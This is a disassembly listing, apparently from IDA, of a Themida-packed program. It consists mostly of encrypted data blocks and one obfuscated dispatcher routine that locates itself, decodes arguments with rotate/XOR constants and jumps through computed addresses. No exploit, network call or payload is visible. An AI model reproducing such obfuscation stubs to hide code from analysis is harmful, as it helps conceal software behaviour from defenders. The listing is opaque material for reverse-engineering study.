		dd 1D611060h, 22203840h, 0D44A6E23h, 286FEBDCh,	0C8C54F04h
		dd 53F0E179h, 199FAEBDh, 84B4E7h, 7893EC1Ch, 65890D3Dh
		dd 3BB911AFh, 6C67A18Bh, 0F48BA331h, 6C2725D7h,	4F38CA48h
		dd 629A1330h, 672A2CE6h, 0A7063665h, 53EC106Ah,	3C4BA20Dh
		dd 0D78930Ah, 0F41091A0h, 0E42E1253h, 0FF005F2Ch, 102D1C99h
		dd 0A2A653F4h, 0A8A774BEh, 8C87C6F5h, 8B9DF911h, 0FF21E694h
		dd 0D0EC2621h, 0FD0D808Fh, 122A6762h, 3646414Dh, 0C44EA512h
		dd 0C0C299F2h, 0DB59BDCDh, 9FAEDD34h, 7BA4EE19h, 53F45AC8h
		dd 0ABA3C74Bh, 0AB070B2Fh, 85995485h, 5511h, 0FD8B9F00h
		dd 78A5D2EBh, 53F03BC9h, 1C50C64Ah, 904FC539h, 0CAC3C46Eh
		dd 1A3256B2h, 63543A2h,	7137D24Eh, 0A082EA9h, 103F4EB9h
		dd 2BE96D9Dh, 0DC6DE8AAh, 0B074649h, 19668290h,	3F9BB3EEh
		dd 719CE31Bh, 4E7B0434h, 0B4632757h, 8671D55Dh,	7F2E506Fh
		dd 656779BBh, 4F9E0636h, 4C7B0239h, 47E0C351h, 49DC6CFBh
		dd 0CE04080Ch, 581A6E80h, 6567A288h, 0B67CBC36h, 94809654h
		dd 5A0088h, 8BAC0000h, 0C0CF6BFDh, 181ABB79h, 0BC364AA4h
		dd 0AD188Bh, 53F09231h,	0BC8FCEB2h, 3753F092h, 0B9E6C153h
		dd 53F0928Ah, 0D0CDFE09h, 0BA385CB8h, 0F48BA18Bh, 2AAEDED7h
		dd 661833E8h, 490B2F6Ah, 612A604Ah, 0F9000000h,	0B9D66062h
		dd 2448CCFCh, 1A9BB014h, 53F0922Fh, 0E852A0A4h,	0E11A6E80h
		dd 5F210E93h, 4ADC0B05h, 0AA911EBAh, 0DD47CDDCh, 0DF1EFD8Bh
		dd 3AB3E33Bh, 0D36ECFF8h, 1A53F0F8h, 0F48B3CB6h, 692423D5h
		dd 1D2A3545h, 0EE4F7C60h, 53F09253h, 5A66CD0h, 0F3F1DAAAh
		dd 0A3CAFA64h, 6C67EF51h, 604AA331h, 6366567h, 0FCB9D695h
		dd 0CBCA48CCh, 53EC1086h, 8EBBC2F9h, 177E1D17h,	63A7D6E8h
		dd 0B3CBC2C4h, 94073940h, 0B1C7269Eh, 10951D9Ah, 6DDE49D8h
		dd 0E81671C0h, 6A8EF255h, 4870351h, 0AF216E24h,	21595470h
		dd 69AB6FA5h, 581A6E80h, 6567A288h, 0B67CBC36h,	94809654h
		dd 460088h, 8BAC0000h, 0ADDDD8F4h, 0CCFCB1D2h, 0D6EE2448h
		dd 0D84B4038h, 0C1088381h, 53F09272h, 5A9B8DF1h, 0DABC7371h
		dd 8BB7B97Bh, 0F0921F2Ah, 394B9453h, 8B945E42h,	316C67A1h
		dd 0D7F48BA3h, 0E82AAEDEh, 3A2A941Eh, 40000000h, 0E11A6E80h
		dd 0ABF90293h, 0A86A19B3h, 48188BA6h, 10A18E92h, 0C4B143F7h
		dd 53F09E75h, 203F4CC4h, 0F3A7B21h, 8453F09Eh, 0AC969C80h
		dd 6C67A18Bh, 44431A31h, 4A41CB49h, 0C4656760h,	622C093Dh
		dd 0E7173B32h, 0EC597546h, 7C375553h, 8915334Ch, 0F4591D2Ch
		dd 8EB29653h, 167DDA7Eh, 284F280Ch, 2A3E719h, 53F45937h
		dd 0DDB1ECE7h, 56D15579h, 72C16E34h, 0F153F459h, 0B52698Dh
		dd 308C86FDh, 385339C8h, 0D8BF1BFFh, 0F5146B49h, 2D606FB8h
		dd 0F7BB91Dh, 1974070Bh, 0E862AD9Ch, 0D0222655h, 1A6E806Eh
		dd 67A28858h, 7CBC3665h, 809654B6h, 36008894h, 15000000h
		dd 4921E35Fh, 0B2AD433Eh, 0B5BF7591h, 0E6E16E80h, 133793ABh
		dd 4AFD8B41h, 0A976EF70h, 0DB4467ADh, 53F01268h, 8BED67EBh
		dd 316C67A1h, 2A604AA3h, 46h, 1A6E8040h, 9F188B58h, 53F092ACh
		dd 0C5C42327h, 3C794AC8h, 53F0920Dh, 8B8E44CCh,	3100AD18h
		dd 0B253F092h, 67C244CEh, 0CB79C36Ch, 335BF637h, 74D853F0h
		dd 682933A2h, 5BC43744h, 53F06CE8h, 2B2DE76Bh, 6567604Ah
		dd 52D3BFCDh, 53F092E7h, 0D0F4187Ch, 0DBA140B8h, 143635A0h
		dd 132B6662h, 148193B7h, 49DC7E02h, 8CC4F75Bh, 0B9DE67FBh
		dd 0C4C15E4Eh, 0DF55B1C9h, 0EE9A6B1Bh, 7828EDDh, 268193F7h
		dd 1D98B4CBh, 91BE69EDh, 219F1E14h, 0AA4FCFF6h,	4D712C5Dh
		dd 8FB6CE3Dh, 0DA692618h, 2527F43Eh, 0E307828Dh, 0F7E801Fh
		dd 4BEFFh, 0A20D883Dh, 0A880D04Bh, 3BB1B3Dh, 497B10E2h
		dd 2F51CE52h, 15334C7Ch, 0AE96E9Eh, 0EBA2A4E3h,	1786B827h
		dd 8D5E7h, 8C430000h, 4944401Fh
		dd 676741CBh, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h
		dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h,	511F2757h
		dd 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh, 5158685Ch
		dd 34890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 55241489h, 1F09F4BDh, 8DCD8112h, 81002947h, 8C6701F5h
		dd 81EDD15Dh, 5048A3C5h, 5EDC177h, 0BDB9BB53h, 0DD010121h
		dd 5DEE895Bh, 24148B54h, 5604C483h, 3B240481h, 8F00EE54h
		dd 0BB530842h, 0EE543Bh, 5B085A29h, 5624148Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815E24h,	4, 0F96B7FE9h
		dd 0A13AAFFFh, 38AC54B2h, 0B882D825h, 61B14C3h,	0E0FFC503h
		dd 3AF5615Dh, 7B7D2D1Dh, 26957808h, 54900B5Ah, 38C60007h
		dd 14FE54BAh, 5E07A087h, 1F466608h, 7D801544h, 459B21A4h
		dd 58162A8Fh, 0B2437B1h, 5BDFA70Bh, 29E52359h, 7437F95Dh
		dd 7A8DF5C5h, 14E8h, 3467FA00h,	0CE9A0DFh, 8B849439h, 0B77ADC93h
		dd 56D60656h, 0E8536017h, 11h, 155B2CFEh, 0DC3B01E3h, 9304A602h
		dd 41A2F767h, 815B596Dh, 0B27A9AC9h, 0E95A6149h, 7, 0C7AC91C2h
		dd 819FC563h, 759EC2h, 0FFBF0F00h, 1D1D68h, 0E9F18100h
		dd 5B236D51h, 6E952h, 0B4180000h, 0F4615F19h, 0E932FF58h
		dd 12h,	7F78059Ch, 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 0B05E8116h
		dd 93EE8115h, 0F01AE9Fh, 1B81h,	9E96000h, 81000000h, 0DAFBD1B0h
		dd 9054F27h, 5E8h, 5FAA7E00h, 6158F6C8h, 0B0A2F681h, 0DF8119D8h
		dd 58AAFA10h, 0DA05F681h, 0F6043E9h, 0DE8BF0B7h, 8E85661h
		dd 0A7000000h, 0E01BD07Fh, 606CEBBDh, 890Fh, 0DE8B0000h
		dd 28F5961h, 5A5AF181h,	0EA815373h, 120F0BE9h, 8C0Fh, 0C2810000h
		dd 120F0BE5h, 0A502E081h, 0EB833FC5h, 0F850F01h, 66000000h
		dd 24E9C38Bh, 8D000000h, 4420C612h, 0A8BF89FCh,	0E9293BA8h
		dd 0FFFFFF49h, 0B58580D0h, 8044A4EBh, 12C2CE9h,	46B41F2Eh
		dd 0E9B0C733h, 4, 299E32E3h, 51AE9h, 3F729200h,	225B6CFBh
		dd 4B4641DEh, 732A58C7h, 9C1130AFh, 89391398h, 6403077Ah
		dd 7DEA2E67h, 55D25651h, 0D9B47833h, 8476C562h,	468D55EBh
		dd 36656742h, 3E0DAA05h, 0B553F092h, 1C6343D1h,	413C4BEDh
		dd 9D183649h, 0BAD15579h, 9253EE4Fh, 6CD053F0h,	0EE1E95B3h
		dd 0D1F3A86Ah, 0BE82828h, 2C50D009h, 4A41431Ch,	20B3C132h
		dd 5D848575h, 7D8E5DD7h, 453BE6F2h, 0F91D007Ah,	9BF685C1h
		dd 0F07D2F1Ah, 4EA0A453h, 0E55186F2h, 0E976BCDAh, 4A414382h
		dd 892D59C6h, 8D09017Ch, 5ACE719Bh, 20449687h, 4C4743DCh
		dd 6F26233Ch, 8904005Fh, 0A0DDEE71h, 3C53FCA8h,	0B1841A04h
		dd 0B0D4898Dh, 0D649A08Fh, 97453C9Eh, 0DB44FB1Dh, 603FF5B0h
		dd 7AE52964h, 84255548h, 53F030BAh, 7181E887h, 85952EABh
		dd 49CBh, 6567E100h, 9AA70636h,	9953F092h, 8D539FF6h, 2985948Ch
		dd 1, 37666787h, 65694C04h, 0CCD50BC0h,	0E8196646h, 0CCFA85B5h
		dd 0A4A3BAD1h, 0BF75D1E9h, 85EC4B0Fh, 0C4484546h, 0AE72295Bh
		dd 0C75887DDh, 0DC110D7Dh, 6867EC56h, 497A0535h, 27582754h
		dd 30C24676h, 92E94274h, 68F73D70h, 0CD562E01h,	0C4AB6828h
		dd 6A9936FCh, 0CA90437h, 53F07C3Dh, 0DDB1EC1Dh,	60FFBB79h
		dd 401F2F5Eh, 0ED304845h, 31CF0B62h, 0AD859579h, 0BFh
		dd 6BE647B2h, 0E853F076h, 67A4AE64h, 0C5C0CE68h, 171CA3B5h
		dd 0A7FB7C89h, 1D6C9F83h, 3C98B0EBh, 0EA45B6F6h, 0F090FE4Dh
		dd 3117553h, 3444414Ch,	34711D2Bh, 53F09005h, 6696BA9Eh
		dd 84B4E719h, 3A0017C0h, 0F31279D6h, 0DBA2D9D4h, 7EDAF2A9h
		dd 6463FCB4h, 37A21129h, 0F0905BF6h, 808FD853h,	7599FD0Dh
		dd 906AD946h, 65E953F0h, 0DBD2F0AFh, 59E835A0h,	0DA53F090h
		dd 0BD00BC76h, 0D8D3FF8Eh, 1C5EB55Ah, 85948CDEh, 64D8h
		dd 0B5F26D00h, 0AC0F6A86h, 71FB391Dh, 5356867h,	3B534E7Ah
		dd 77932524h, 9FE0183Ch, 55013974h, 0DF58D33Ah,	53F0926Ch
		dd 8B7F63E7h, 0E7E6254Ch, 67AC66AAh, 0A6073766h, 53F092A4h
		dd 539FF699h, 85948C8Dh, 0F0989BE9h, 0BCEC5FD8h, 0E367AC0Fh
		dd 0FC8AAD0Dh, 0BB536h,	6FDA0000h, 0FC773CEh, 868CF0ACh
		dd 266C679Ch, 0F0924AF9h, 484B6B53h, 0B497E360h, 20587CC0h
		dd 83852D5Fh, 73D4E408h, 335E6D84h, 0C6F87E8Dh,	3F9BB3D7h
		dd 9E6F171Bh, 1654D1EAh, 0EF49DC23h, 0E43A7390h, 79154B36h
		dd 8CBCA0F4h, 56DAD1F3h, 0B7C4B7C9h, 1968DB44h,	67EB55E4h
		dd 0AF9011ADh, 0A055E419h, 0BFC10017h, 0ADDF48CCh, 8FB1CEFEh
		dd 413AEC1Ch, 5D6F093Ah, 96F20A2Eh, 8598FF9Ch, 4BC9C4C6h
		dd 3B7294h, 63A34C79h, 0AEF04817h, 0E27D8DB1h, 399DADE0h
		dd 0FF5B1F15h, 8BA96031h, 10B4Dh, 0F682D200h, 0D8F3D51Ch
		dd 80E668AAh, 47E01B61h, 49DC90C7h, 5B245438h, 31AE7229h
		dd 136C9C0Fh, 1681BAF1h, 2D76065Eh, 69702BA9h, 55E4E2DAh
		dd 8F3FF559h, 0AFDFCEF0h, 0C3FBB2D0h, 75BDD4BBh, 6E9DF403h
		dd 5A2A215Ch, 0F33CC872h, 55E46D40h, 0D5A97FC3h, 0D2868C2Ch
		dd 0A8E1B866h, 3DC68Bh,	80D20000h, 43EC1F65h, 0D3F09290h
		dd 0AD68F853h, 1A6F0412h, 0B392A1A8h, 2D11D3F0h, 81B0F109h
		dd 0AED3F0B3h, 895CCA21h, 8FB1C8C3h, 0AA68EC1Ch, 0B3CD9C19h
		dd 20653F0h, 6E2CFEh, 804A0000h, 75E01B61h, 0F0921928h
		dd 7CB69A53h, 3865D043h, 53F09209h, 18C868Ah, 49DC6A45h
		dd 6A2521BEh, 1A29F652h, 344B4367h, 8979B12h, 524B7CF6h
		dd 0A19F1E2Eh, 0AA55E49Bh, 0C5C7066Dh, 0D33252D6h, 4727EE57h
		dd 0F317D450h, 0D8945FD8h, 0FB5F4FCFh, 138ABCC3h, 1A619CFBh
		dd 185B5E8h, 21056CF3h,	2687B4C0h, 45F4B153h, 0BA78BC80h
		dd 2ED9F48Bh, 2DAF5A84h, 0B8D0F4A1h, 0FDED65Ch,	88D74279h
		dd 8F0E0479h, 49DB33C4h, 49102B2Fh, 0D337473Ah,	0E81A6541h
		dd 0ABCE86B5h, 4EA1FAB0h, 7BE4AC66h, 0FB3A5249h, 0A476FAADh
		dd 13325936h, 0E976BAF1h, 0CB94A4D7h, 5AB5C6BDh, 50776EDDh
		dd 9361E566h, 2E45B413h, 7ABEED1Fh, 0A8A0DBEDh,	119Ah
		dd 1F8C1000h, 9D41B449h, 0F51414BCh, 0E00480B8h, 67672812h
		dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h
		dd 8EBCC3FBh, 6D98E717h, 46471830h, 681F2757h, 67CCh, 68241489h
		dd 3155h, 68240C89h, 29E0h, 57242C89h, 0E43C87BFh, 537CB94Eh
		dd 0C18154FFh, 3278723Ah, 0E981F929h, 3278723Ah, 4EC815Fh
		dd 89000000h, 4832424h,	505D0424h, 8B8h, 28000500h, 0E8016D79h
		dd 7928002Dh, 5808896Dh, 5D2434FFh, 4C481h, 34FF0000h
		dd 0C4835924h, 64DAE904h, 0A255FFF9h, 0F7A4EC67h, 0B8DD9D39h
		dd 61B1B9Bh, 0E0FFC503h, 43C8459h, 9907CD8h, 1FFA4786h
		dd 7738ADA6h, 5437EB80h, 406142FBh, 112791DBh, 1B2051BBh
		dd 808C54Fh, 719C8F49h,	7EA9D7A3h, 66743E7Ch, 59E6220Fh
		dd 8F9EEE8h, 4EE243B2h,	7FCC9A95h, 27775D85h, 3B85E048h
		dd 0ECBDCCDh, 29AB0989h, 63029EAAh, 77D757A0h, 5AB9D3CAh
		dd 4CA0A3F4h, 56CBEF7Ah, 6630F89Fh, 1AAAC771h, 1D4E8D8Dh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6653ABC3h, 0BE013DBAh, 1020A66Bh
		dd 2B698D89h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h
dword_5EF868	dd 55450000h, 85C79EC3h, 6141055h, 7400h, 0E851006Ah, 3
					; DATA XREF: Themida_:0059B37Bo
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 87C35141h, 41C50563h
		dd 20918EAEh, 1810F59h,	0F8000000h, 13D85C7h, 614h, 9D290000h
		dd 6141999h, 0D55B5FFh,	9D8B0614h, 6140EB1h, 0BD995FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 6AEBDAC3h, 7195FF00h, 8B061429h, 225BEBC0h
		dd 60B2888h, 0CD819B71h, 6B8D8548h, 9F52448Eh, 0C1C25299h
		dd 0C603AD5Eh, 0B2EBBBF7h, 0A48C34A6h, 0EB5D0F17h, 0A84574CCh
		dd 0EA601B50h, 795E35B8h, 3AE6EBBFh, 0F3355722h, 9666EDABh
		dd 0F3D5898Eh, 0CC0419CBh, 5682363Fh, 2F5B3E1Bh, 1EBDE525h
		dd 20ADBD5Ah, 0D991D965h, 8D8D0865h, 61B1E7Dh, 2DF5858Bh
		dd 8D890614h, 6142B69h,	8A0Fh, 85C70000h, 6141055h, 7448h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h
		dd 0E5202D67h, 3D85C78Ah, 61401h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0B0A2C353h, 7C0B8E48h, 81ADDF57h, 9E3C7CF7h,	7E85025h
		dd 27000000h, 708F7DB7h, 8166F314h, 5AB3EBF2h, 1B5FF58h
		dd 6A061425h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6F68C350h, 2E8C36E1h, 0B58B70BCh
		dd 6142F29h, 95FFF08Bh,	6140BD9h, 2E1858Bh, 6A0614h, 297195FFh
		dd 0C08B0614h, 0E74E7DEBh, 0A31DC679h, 0AA8D8AF0h, 0E4CD65CCh
		dd 0C10FCBC9h, 452290E1h, 72B2DFB6h, 861F7020h,	0FB18AE43h
		dd 1D3AC373h, 0FD71108Fh, 8F0F12Bh, 8D10FB57h, 1D16C548h
		dd 0FDE14433h, 33DD645Bh, 80247884h, 0D18789h, 0F2F15DEDh
		dd 0EC499EACh, 939B3B46h, 1250E9ACh, 0B60C2ABh,	0D1B54B3Eh
		dd 77337646h, 0D9D8D231h, 366322CEh, 0DB8924Eh,	4845D4AFh
		dd 775FBF0Dh, 2390E8BDh, 0E8FF20C7h, 10h, 1C680256h, 2408E7E7h
		dd 0C107C750h, 31C9BAA9h, 36D08166h, 8B665F19h,	0F3C781F3h
		dd 8100005Fh, 459A89DEh, 51C93370h, 19158D29h, 8B5B0614h
		dd 0C28B0F14h, 0D8ABF281h, 0BF0F5E32h, 4EF281C2h, 0F6AF014h
		dd 285h, 8194B400h, 5BCEADF2h, 0DE903h,	8960000h, 2AF7FF0Dh
		dd 7AEFC43Fh, 529ABCF8h, 2ADD9D29h, 48F0614h, 0F1B5310Fh
		dd 6006141Bh, 51DEB70Fh, 49F5A7BAh, 83615B02h, 0DB8002E9h
		dd 2B494959h, 1402D185h, 0D0F98106h, 0FFFFFA0h,	0F85h
		dd 0F0B70F00h, 26E9h, 0E05C2B00h, 0A6DBD8F4h, 0AA4D081h
		dd 7CE91F58h, 91FFFFFFh, 158DB7B7h, 62D885A5h, 42112224h
		dd 78C933F0h, 8D2B87B3h, 1B20A18Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0C8AB97Bh
		dd 0DD8D8910h, 29061417h, 142C618Dh, 698D8906h,	6A06142Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A02BC357h, 18D50C45h, 0F7816688h, 85C7EA35h
		dd 6141055h, 6680h, 0B364BE66h,	13D85C7h, 614h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 2F4857C3h, 7C69D2E8h, 80A3CB0Dh, 0B5FF22CFh,	6140D09h
		dd 20199D8Bh, 5E90614h,	0CE000000h, 0E7226ACBh,	0BD995FFh
		dd 0DE90614h, 0C8000000h, 2467EA69h, 0BF3A5551h, 4A4020E2h
		dd 6ADF8Bh, 297195FFh, 0C08B0614h, 0FD1F4CEBh, 0F7543B39h
		dd 83A079E9h, 0B5D14238h, 9C65F51Fh, 0D733D67Dh, 0A11AAB0Ah
		dd 0F3651212h, 618B3DBh, 80D4ACB0h, 0C88E6D9h, 2D39E78Eh
		dd 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 65509256h,	60886AC9h
		dd 704C9951h, 0B0FEE8ABh, 8D8D2634h, 61B21CAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 890CD9B6h
		dd 94753ABh, 140C29B5h,	698D8906h, 6A06142Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0E824C356h, 25F9A571h, 6000934Fh, 0AE9h, 0BFC94000h
		dd 87E4D3BBh, 66B33D82h, 0ED15C981h, 9D896061h,	6142675h
		dd 0A7EB8166h, 85C76166h, 6141055h, 63D0h, 11719D2Bh, 85C70614h
		dd 614013Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B1C35343h
		dd 0DEB70F8Fh, 0E15B5FFh, 85890614h, 6140B8Dh, 0FFDBB70Fh
		dd 140BD995h, 0B9952B06h, 6A06140Dh, 7195FF00h,	8B061429h
		dd 95FEBC0h, 0ACEDE973h, 15DCA483h, 6BEF5BFEh, 0BE9585A0h
		dd 0F89187Ch, 3273BC9Fh, 11929170h, 0DD8EA212h,	488ADDA5h
		dd 0E4BCA268h, 0B075231Eh, 98ABC025h, 2DD2E4C0h, 0C2B82DDh
		dd 9560EC43h, 7575B66Bh, 0A033B972h, 4235C4FDh,	37478EACh
		dd 587D564Ch, 0FC42653Bh, 5A2E42EFh, 7396952Dh,	12E8558Ch
		dd 22000000h, 9C335550h, 9B1260F3h, 0CBF8FF68h,	0C36CFE6Ch
		dd 5ED08B7Dh, 59C681F5h, 8000006Eh, 0BFF5F7h, 0E9000000h
		dd 9, 184982DBh, 8A4273CCh, 3E0C8B67h, 0E9C181FCh, 601187C1h
		dd 99BD29F5h, 61061408h, 2B7FC181h, 858947CBh, 61415FDh
		dd 0B4E2C181h, 0CE90E0Ch, 2D000000h, 608AE520h,	0DA15E043h
		dd 5174E8B1h, 0CA9BD89h, 48F0614h, 0BD31533Eh, 6143435h
		dd 3DE3805Bh, 0A483EF81h, 2BA1142h, 81162960h, 42A47FC7h
		dd 259D8B11h, 8106140Ch, 0FF9274FFh, 1F850FFFh,	31000000h
		dd 141A1185h, 26E906h, 8C8B0000h, 4A2831EDh, 2E3F743Eh
		dd 52FE7A6Dh, 59F343E1h, 0B589AE75h, 6142579h, 0FFFF68E9h
		dd 40C94BFFh, 98BA1E9Dh, 23B28D8Dh, 6A061Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 39D1DEC3h
		dd 6E967h, 3DF80000h, 0EBAFEA61h, 0BE9h, 51EFE100h, 29AD1C0Eh
		dd 0D64FA22Dh, 2B698D89h, 0BD890614h, 6141BE1h,	105585C7h
		dd 61240614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 8ABF52C3h, 0D3259552h, 68F0Fh, 0D2810000h
		dd 1C7EEFBAh, 13D85C7h,	614h, 0BD890000h, 6140945h, 2501B5FFh
		dd 0FFF80614h, 140BD995h, 97CA8106h, 6A491624h,	7195FF00h
		dd 8B061429h, 4F7DEBC0h, 4154294h, 8C79CD38h, 820977FBh
		dd 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 32428B75h, 950A4189h
		dd 0C24894CDh, 21935E0Fh, 0BE13BBFFh, 8F0B6FD2h, 0D638673Eh
		dd 0EEB07800h, 171F47E6h, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h
		dd 0D9AD8CCBh, 903F96C9h, 0D9A02F70h, 729AFDC6h, 1C1F4658h
		dd 705FE20Ch, 7F74FEC4h, 7CC52E47h, 73C413C9h, 3B021BBAh
		dd 83F5B507h, 5BE3673Fh, 1BD83412h, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5EFFD5	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409BC0+1Cp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61B2442h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F012B
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 34E96D02h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6142B69h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0AAB6F4B9h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+6141055h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+614013Dh],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F00EF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 140ECDB5h, 0B9E906h,	0B5FF0000h, 6142665h, 0AEE9h, 9DB5FF00h
		dd 0E9061412h, 0A3h, 1D11B5FFh,	98E90614h, 0FF000000h
		dd 14080DB5h, 8DE906h, 0B5FF0000h, 6140D55h, 82E9h, 3DB5FF00h
		dd 0E906141Ch, 77h, 11C9B5FFh, 6CE90614h, 0FF000000h, 140E1DB5h
		dd 61E906h, 0B5FF0000h,	6142389h, 56E9h, 0B1B5FF00h, 0E9061404h
		dd 4Bh,	2501B5FFh, 40E90614h, 0FF000000h, 140061B5h, 35E906h
		dd 0B5FF0000h, 6140D09h, 2AE9h,	99B5FF00h, 0E9061404h
		dd 1Fh,	0E15B5FFh, 14E90614h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5F00EF:				; CODE XREF: sub_5EFFD5+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61B24A3h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh
		dd 140BD995h, 858B5B06h, 6142B69h, 0F045839h, 0F85h, 16A5300h
		dd 297195FFh, 0E95B0614h, 0FFFFFFE2h
		db 61h,	5Ah, 0C3h
; ---------------------------------------------------------------------------


loc_5F012B:				; CODE XREF: sub_5EFFD5+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EFFD5	endp

; ---------------------------------------------------------------------------
		dd 1239858Bh, 8D8D0614h, 61B2591h, 8B014189h, 2FE9C3h
		dd 0F8AF0000h, 47D9h, 0Ah dup(0)
		dd 559E900h, 85850000h,	6899060Ah, 5B76F135h, 3F4DDA5Eh
		dd 2827C044h, 62AB175h,	181C91B0h, 70B828Fh, 0ED316C98h
		dd 0D95D5072h, 51E04DBCh, 0D255EBB7h, 65677FA1h, 4A790636h
		dd 3254D357h, 3E2D9589h, 0FCE0FDB3h, 0E891B3CCh, 5A51E002h
		dd 0A8E5E623h, 17686084h, 0F57487F6h, 6F2A25D9h, 5DD7FB5Fh
		dd 0B7F21E61h, 0D1CCF887h, 2B428DB9h, 3D5403E7h, 4C7AFC0Eh
		dd 0B9DD3951h, 0C012F282h, 0DD22F439h, 0DA4CCE9Dh, 0E0E20F40h
		dd 15399DADh, 7484F90Ah, 25560210h, 5C6C2926h, 69653AF8h
		dd 2691EA2Eh, 0F06B4AF9h, 0CF45C953h, 81B9F410h, 0A4D4D1FEh
		dd 70BD2823h, 53F06BC1h, 0FD4CE942h, 7653F06Bh,	4724EE12h
		dd 0BAF51130h, 5FD7E976h, 0C7437B32h, 939EB651h, 62864357h
		dd 0AFF51269h, 0F00E330Eh, 0A8CCB053h, 67DB5A6Ah, 5C53F00Eh
		dd 0D01E5CB3h, 2E859528h, 0B87A315Fh, 57CFh, 6567E500h
		dd 0B5C5C0CDh, 9C1D2D51h, 53F092A3h, 5A98FF90h,	85948C94h
		dd 122h, 66678E00h, 0CA90437h, 53F0923Dh, 0DB54F014h, 764ADF93h
		dd 81A5D8E9h, 0ECE4C76Fh, 9E943553h, 7D30512Eh,	6B14324Dh
		dd 0E39DC938h, 0E6163A0Fh, 6F9EF5A2h, 7CEB2F5Eh, 5CF534Ah
		dd 5356867h, 2454497Ah,	1F2E45F2h, 0EE79BDF0h, 0D6A9A1DCh
		dd 73CEFEBBh, 0BF7D7D94h, 0FF85948Ah, 6410238Ch, 4B31AC0Fh
		dd 532F5800h, 728084F8h, 95F1h,	0C5C78600h, 433E49D6h
		dd 0C345CF4Bh, 6356867h, 0DD574647h, 36739EE1h,	4C494605h
		dd 29A2E6C6h, 0BE029D5Bh, 0A0805CBh, 0D0FF0E65h, 5B2259DDh
		dd 5808C2Eh, 0A76DE9E1h, 94A4D9E8h, 113DBDCBh, 0FEE26696h
		dd 66D552CDh, 0FD53F0F8h, 6838E99h, 248092F6h, 4177E99h
		dd 0CA484345h, 94F50826h, 1A373685h, 0F2182B74h, 0B79B53F0h
		dd 4EE68193h, 32000000h, 0AC9F188Bh, 8C53F092h,	0CEB2067Fh
		dd 5789744h, 235E6AF5h,	0B9D07F2Bh, 2067B8Ah, 0DCD1F289h
		dd 188BEC56h, 0F092AC9Fh, 0D1232753h, 6494093Ah, 0F09279C5h
		dd 42A94653h, 337CEFh, 8353F092h, 479575BFh, 5785948Ch
		dd 1, 316C675Dh, 0B2444619h, 0C0F81C91h, 4281E847h, 1893B147h
		dd 0E85B30F4h, 0F092FC4Fh, 1137753h, 0B7D35CADh, 6B2223FCh
		dd 0B8D3F753h, 0DC623F7Fh, 3F4C3049h, 9DD063CCh, 0F85355E4h
		dd 0E49D8CBFh, 1F030755h, 7E8EFF00h, 0D3AC181Ah, 4536FAB1h
		dd 8B890406h, 100B2D4h,	0F4187C8Ch, 9DD865C4h, 0A4D355E4h
		dd 910C3E4Dh, 5D6FFE8Dh, 78BA1E2Eh, 0D2EAA1A3h,	0B007B8Dh
		dd 20D90B7Dh, 0DC560B0Dh, 729936E0h, 417A3153h,	4FFA49D6h
		dd 157955E4h, 31FF5B1Fh, 4D8BA969h, 15Ah, 1B61806Bh, 90C747E0h
		dd 543849DCh, 72295B24h, 670F31AEh, 81053568h, 0F0126D9Dh
		dd 0F9B4D3AAh, 350445C1h, 4E55E490h, 6096A6CAh,	7B8DBCD3h
		dd 8A50FC00h, 0D48BA88Eh, 0FB397495h, 4E08h, 0F48BA400h
		dd 27A3DBD2h, 400CD9EDh, 9B12344Bh, 922DE763h, 0F0924615h
